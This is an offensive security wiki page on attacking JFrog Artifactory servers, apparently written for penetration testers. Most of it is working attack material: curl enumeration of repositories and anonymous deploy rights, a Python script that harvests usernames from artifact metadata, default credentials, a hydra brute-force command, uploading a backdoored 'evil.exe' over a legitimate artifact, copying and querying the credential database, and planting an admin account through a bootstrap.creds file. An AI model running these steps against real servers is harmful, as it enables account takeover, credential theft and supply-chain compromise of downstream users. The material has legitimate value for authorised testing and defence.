# Artifactory Pentesting

Theory

[Artifactory](https://jfrog.com/artifactory/) is a widely used **binary repository manager** that serves as a central hub for managing, storing, and distributing software, binaries, artifacts and dependencies. It supports multiple package types and integrates seamlessly with build tools, CI/CD pipelines, and DevOps workflows.

From an attacker's perspective, this centralization and trust make Artifactory a high-value target. By compromising the server, we can can introduce malicious artifacts that propagate through the development pipeline, enabling supply chain attacks.

Additionally, Artifactory often contains sensitive information, such as API keys, authentication tokens, and embedded secrets within binaries or configuration files, which we may exfiltrate or use to escalate privileges or pivot to other systems.

## Practice

### Enumeration

{% tabs %}
{% tab title="WebInterface" %}
Artifactory's web interface run by default on port **8081**.

```bash
curl http://<TARGET>:8081
```

{% endtab %}

{% tab title="Process" %}
Localy, we can simply enumerate processes to determine wether Artifactory is running.

```bash
ps -ef | grep artifactory
```

{% endtab %}

{% tab title="Anonymous Account Rights" %}
Sometimes, because of a misconfiguration, anonymous is allowed to deploy files to some repositories!

To check which repositories the anonymous user can deploy to, use the following request:

```bash
curl http://<TARGET>:8081/artifactory/ui/repodata?deploy=true
# Or for later versions
curl http://<TARGET>:8081/artifactory/ui/api/v1/ui/repodata?deploy=true
```

{% endtab %}

{% tab title="Enumerate Users" %}
**Anonymous & Low-Privileged Users**

Listing users is typically a privilege reserved for administrators. However, using the script belows, leveraging the “Deployed By” attribute associated with artifacts, we can enumerate users actively involved in deployments

{% code title="enum\_artifacts\_users.py" %}

```python
# Original Script: https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a
# This script was adapted to support Authentication 

import requests
import json
import urllib3
import sys
import argparse

# SUPPRESS WARNINGS ############################################################
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ADD USER #####################################################################
def check_users(details, users):
    if 'createdBy' not in details:
        return

    if details['createdBy'] not in users:
        print('Found user {}'.format(details['createdBy']))
        users.append(details['createdBy'])
    if details['modifiedBy'] not in users:
        print('Found user {}'.format(details['modifiedBy']))
        users.append(details['modifiedBy'])

# MAIN #########################################################################
def main():
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description="Process repositories and check users.")
    parser.add_argument("url", help="Base URL of the API")
    parser.add_argument("--user", help="Username for Basic Authentication")
    parser.add_argument("--password", help="Password for Basic Authentication")
    args = parser.parse_args()

    url = args.url.rstrip('/')
    auth = (args.user, args.password) if args.user and args.password else None

    session = requests.Session()
    users = []

    try:
        response = session.get(url + '/api/repositories', verify=False, auth=auth)
        response.raise_for_status()
        repositories = json.loads(response.text)
    except Exception as e:
        print(f"Failed to fetch repositories: {e}")
        sys.exit(1)

    print('There are {} repositories to process'.format(len(repositories)))
    for repository in repositories:
        try:
            response = session.get(url + '/api/storage/' + repository['key'], verify=False, auth=auth)
            if 'json' not in response.headers.get('Content-Type', ''):
                continue
            rep = json.loads(response.text)

            for child in rep.get('children', []):
                uri = child['uri']
                response = session.get(url + '/api/storage/' + repository['key'] + uri, verify=False, auth=auth)
                if 'json' not in response.headers.get('Content-Type', ''):
                    continue
                details = json.loads(response.text)
                check_users(details, users)
        except Exception as e:
            print(f"Error processing repository {repository.get('key', 'unknown')}: {e}")


if __name__ == "__main__":
    main()

```

{% endcode %}

We can run the script as follows:

```bash
# Run as anonymous user
python enum_artifacts_users.py "http://<TARGET>:8081/artifactory"

# Run as low priviledged user
python enum_artifacts_users.py "http://<TARGET>:8081/artifactory" --user <USER> --password <PASSWORD>
```

**Admin Users**

If we have administrative rights, we can enumerate users as follows:

```bash
curl -uadmin:password123 "http://controller:8082/artifactory/api/users"|jq
```

{% endtab %}
{% endtabs %}

### Authentication

{% hint style="info" %}
By default, no password locking policy is in place which makes Artifactory a prime target for credential stuffing and password spraying attacks.
{% endhint %}

{% tabs %}
{% tab title="Default Credentials" %}
Artifactory’s default accounts are:

| Account      | Default password                               | Notes                                                                |
| ------------ | ---------------------------------------------- | -------------------------------------------------------------------- |
| admin        | password                                       | common administration account                                        |
| access-admin | password (<6.8.0) or a random value (>= 6.8.0) | used for local administration operations only                        |
| anonymous    | ’’                                             | anonymous user to retrieve packages remotely, not enabled by default |
| {% endtab %} |                                                |                                                                      |

{% tab title="Brute Force" %}
We can brute-force access-admin's password using hydra and BasicAuth as follows

```bash
hydra -l access-admin -P /usr/share/wordlists/rockyou.txt <TARGET-IP> http-get "/artifactory/api/repositories:S=200" -s 8081
```

{% endtab %}
{% endtabs %}

### Modifying Artifacts

{% tabs %}
{% tab title="cURL" %}
If you have administrative/write access to a repository, you can upload a malicious file to replace an original one.

First, enumerate repositories

```bash
# Get list of repo
curl -u<USER>:<PASSWORD> "http://<TARGET>:8081/artifactory/api/repositories"|jq

# Replace <KEY> with the target repository found earlier, and query files
curl -u<USER>:<PASSWORD> "http://<TARGET>:8081/artifactory/api/storage/<KEY>"|jq
 
# We can brows folder and files as follows
curl -u<USER>:<PASSWORD> "http://<TARGET>:8081/artifactory/api/storage/<KEY>/<URI>"|jq
```

Once we found a interesting file to backdor (e.g `http://<TARGET>:8081/artifactory/api/storage/SimpleRepo/app.exe`)

We can replace the file as follows

```bash
# Replace using <REPO_URL><TARGET> as url
curl -u<USER>:<PASSWORD> -T evil.exe "http://<TARGET>:8081/artifactory/SimpleRepo/app.exe"
```

{% endtab %}
{% endtabs %}

### Post-Exploitation

{% hint style="danger" %}
The following are only useful once we have achieved remote code execution or arbitrary file read on the server.
{% endhint %}

{% tabs %}
{% tab title="Dump Database" %}
We can copy the database (as artificers usually lock database files) and access the copy to retrieve sensitive information.

{% hint style="info" %}
To access the Derby database, it is necessary to download/use the Derby tools, specifically the `ij` Apache utility.
{% endhint %}

```bash
# Copy the DB
mkdir /tmp/dbcopy
sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/dbcopy
sudo chmod 755 /tmp/dbcopy/derby
sudo rm /tmp/dbcopy/derby/*.lck

# Access the DB
sudo /opt/jfrog/artifactory/app/third-party/java/bin/java -jar /opt/derby/db-derby-10.15.1.3-bin/lib/derbyrun.jar ij
ij> connect 'jdbc:derby:/tmp/dbcopy/derby';
ij> select * from access_users;
```

{% endtab %}

{% tab title="Add Admin Account" %}
lala

```bash
# Add user to 
sudo bash -c "echo 'snovvcrash*=Passw0rd!' > /opt/jfrog/artifactory/var/etc/access/bootstrap.creds"
sudo chmod 600 /opt/jfrog/artifactory/var/etc/access/bootstrap.creds

$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl stop
$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl start
$ sudo grep "Create admin user" /opt/jfrog/artifactory/var/log/console.log
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.errno.fr/artifactory/Attacking_Artifactory>" %}

{% embed url="<https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/artifactory>" %}
